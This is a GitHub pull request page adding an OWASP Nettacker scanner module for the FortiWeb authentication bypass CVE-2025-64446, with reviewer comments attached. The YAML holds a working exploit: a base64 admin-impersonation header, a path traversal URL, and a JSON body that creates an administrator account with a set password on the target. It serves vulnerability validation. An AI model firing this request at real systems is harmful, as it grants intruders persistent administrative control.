-
-
Notifications
You must be signed in to change notification settings - Fork 1.1k
Add FortiWeb Authentication Bypass Detection for CVE-2025-64446 #1240
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Changes from all commits
0cc045d
50cf62d
b930df8
e83017b
db9c670
adb2561
7143b6e
aa0e4ad
1ad0e6f
7f99a6d
0d18e8f
026907a
6afd9ff
7999c27
3af97d6
b67d4cf
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,105 @@ | ||
| info: | ||
| name: fortiweb_auth_bypass_cve_2025_64446_vuln | ||
| author: OWASP Nettacker Team | ||
| severity: 9.8 | ||
| description: | | ||
| Fortinet FortiWeb versions prior to fixed releases are vulnerable to an | ||
| authentication bypass via relative path traversal, allowing unauthenticated | ||
| attackers to perform administrative actions through crafted API requests. | ||
|
|
||
| WARNING: | ||
| This module is intrusive and state-modifying. Successful exploitation | ||
| attempts to create an administrative user on the target system. Running | ||
| this module may leave persistent artifacts, trigger security alerts, or | ||
| modify the target configuration. Use only in authorized environments such | ||
| as controlled testing, incident response, or vulnerability validation. | ||
|
|
||
| reference: | ||
| - https://nvd.nist.gov/vuln/detail/CVE-2025-64446 | ||
| - https://github.com/watchtowrlabs/watchTowr-vs-Fortiweb-AuthBypass | ||
| - https://github.com/rapid7/metasploit-framework/pull/20698 | ||
| profiles: | ||
| - vuln | ||
|
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
When a user runs the broad Useful? React with 👍 / 👎. |
||
| - http | ||
| - critical_severity | ||
| - cve | ||
| - cve2025 | ||
| - fortiweb | ||
| - auth_bypass | ||
| - kev | ||
|
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
Users selecting Useful? React with 👍 / 👎. |
||
|
|
||
| payloads: | ||
| - library: http | ||
| steps: | ||
| - method: post | ||
| timeout: 5 | ||
| headers: | ||
| Content-Type: "application/json" | ||
| CGIINFO: "eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==" | ||
| data: | | ||
| {{ | ||
| "data": {{ | ||
| "q_type": 1, | ||
| "name": "nettacker{scan_id}", | ||
|
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
Every normal scan supplies a 32-character scan ID, so the Useful? React with 👍 / 👎. |
||
| "access-profile": "prof_admin", | ||
|
coderabbitai[bot] marked this conversation as resolved.
|
||
| "access-profile_val": "0", | ||
| "last-name": "", | ||
| "first-name": "", | ||
| "email-address": "", | ||
| "phone-number": "", | ||
| "mobile-number": "", | ||
| "hidden": 0, | ||
| "comments": "", | ||
| "sz_dashboard": -1, | ||
| "type": "local-user", | ||
| "type_val": "0", | ||
| "admin-usergrp_val": "0", | ||
| "wildcard_val": "0", | ||
| "accprofile-override_val": "0", | ||
| "sshkey": "", | ||
| "trusthostv4": "127.0.0.1/8", | ||
| "trusthostv6": "::1/128", | ||
| "passwd-set-time": 0, | ||
| "history-password-pos": 0, | ||
| "history-password0": "", | ||
| "history-password1": "", | ||
| "history-password2": "", | ||
| "history-password3": "", | ||
| "history-password4": "", | ||
| "history-password5": "", | ||
| "history-password6": "", | ||
| "history-password7": "", | ||
| "history-password8": "", | ||
| "history-password9": "", | ||
| "force-password-change": "disable", | ||
| "force-password-change_val": "0", | ||
| "password": "nettacker_pass123" | ||
| }} | ||
| }} | ||
| allow_redirects: false | ||
| ssl: false | ||
| url: | ||
| nettacker_fuzzer: | ||
| input_format: "{{schema}}://{target}:{{ports}}{{paths}}" | ||
| prefix: "" | ||
| suffix: "" | ||
| interceptors: | ||
|
Aarush289 marked this conversation as resolved.
|
||
| data: | ||
| schema: | ||
| - "http" | ||
| - "https" | ||
| ports: | ||
| - 80 | ||
| - 443 | ||
| paths: | ||
| - "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi" | ||
|
coderabbitai[bot] marked this conversation as resolved.
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
This literal path is normalized before transmission because Useful? React with 👍 / 👎. |
||
| response: | ||
| condition_type: and | ||
| conditions: | ||
| status_code: | ||
| regex: "200" | ||
| reverse: false | ||
| content: | ||
| regex: "(?s)(\"results\":).*?(\"can_clone\":)" | ||
| reverse: false | ||
|
|
||
|
coderabbitai[bot] marked this conversation as resolved.
|
||
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This is not related to Fortiweb YAML. Please avoid modifying Nettacker core or CI/CD
Uh oh!
There was an error while loading. Please reload this page.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I am using the scan id in the module ,If I use a hard coded id to create the user then it may give false negatives while scanning the target multiple times because this scan creates a user at the target and if we try to create same user again then it might give error leading to false negatives and that's the reason I used scan id as user id